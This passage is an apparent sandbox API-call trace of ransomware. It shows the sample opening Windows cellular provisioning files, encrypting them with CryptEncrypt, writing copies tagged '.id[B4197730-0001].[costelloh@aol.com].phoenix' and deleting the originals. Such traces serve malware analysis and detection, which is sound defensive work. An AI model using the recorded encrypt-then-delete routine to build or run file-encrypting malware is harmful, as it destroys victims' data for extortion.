	[0253.149] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.149] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.149] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.150] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0253.150] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.150] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d4, lpOverlapped=0x0) returned 1
	[0253.209] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0253.210] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0253.210] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0253.210] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.210] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0253.210] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.210] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0253.211] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.211] CloseHandle (hObject=0x2b4) returned 1
	[0253.211] CloseHandle (hObject=0x2c0) returned 1
	[0253.211] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.212] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.212] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=651) returned 1
	[0253.212] CloseHandle (hObject=0x2c0) returned 1
	[0253.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml")) returned 0x20
	[0253.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.213] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.213] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.213] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.213] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.214] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0253.214] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.214] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28b, lpOverlapped=0x0) returned 1
	[0253.307] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0253.307] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0253.308] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0253.308] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.308] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0253.308] CryptDestroyKey (hKey=0x151140) returned 1
	[0253.308] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0253.308] CryptDestroyKey (hKey=0x151180) returned 1
	[0253.308] CloseHandle (hObject=0x2c0) returned 1
	[0253.308] CloseHandle (hObject=0x2b4) returned 1
	[0253.308] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml")) returned 1
	[0253.309] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.309] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.309] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=475) returned 1
	[0253.309] CloseHandle (hObject=0x2b4) returned 1
	[0253.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0253.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.310] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.310] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.310] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.310] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.311] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0253.311] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.311] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1db, lpOverlapped=0x0) returned 1
	[0253.312] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0253.312] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0253.313] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0253.313] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.313] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0253.313] CryptDestroyKey (hKey=0x151280) returned 1
	[0253.313] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0253.313] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.313] CloseHandle (hObject=0x2b4) returned 1
	[0253.313] CloseHandle (hObject=0x2c0) returned 1
	[0253.313] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0253.314] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.314] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.314] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=740) returned 1
	[0253.314] CloseHandle (hObject=0x2c0) returned 1
	[0253.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.315] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.315] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.315] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.315] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.316] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0253.316] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.316] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e4, lpOverlapped=0x0) returned 1
	[0253.404] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0253.405] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0253.410] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0253.410] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.410] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0, dwBufLen=0xe0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0) returned 1
	[0253.410] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.410] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x192, lpOverlapped=0x0) returned 1
	[0253.411] CryptDestroyKey (hKey=0x151380) returned 1
	[0253.411] CloseHandle (hObject=0x2c0) returned 1
	[0253.411] CloseHandle (hObject=0x2b4) returned 1
	[0253.411] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.412] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.412] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.412] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=701) returned 1
	[0253.412] CloseHandle (hObject=0x2b4) returned 1
	[0253.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.413] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.413] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.413] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.413] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.413] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0253.413] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.413] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bd, lpOverlapped=0x0) returned 1
	[0253.427] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0253.428] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
